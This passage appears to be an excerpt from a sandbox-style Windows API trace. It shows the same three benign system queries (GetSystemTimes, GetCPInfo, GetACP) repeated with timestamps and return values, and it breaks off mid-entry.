[0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.027] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.027] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.028] GetACP () returned 0x4e4 [0056.028] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.029] GetACP () returned 0x4e4 [0056.029] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.030] GetACP () returned 0x4e4 [0056.030] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.031] GetACP () returned 0x4e4 [0056.031] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.032] GetACP () returned 0x4e4 [0056.032] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.033] GetACP () returned 0x4e4 [0056.033] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 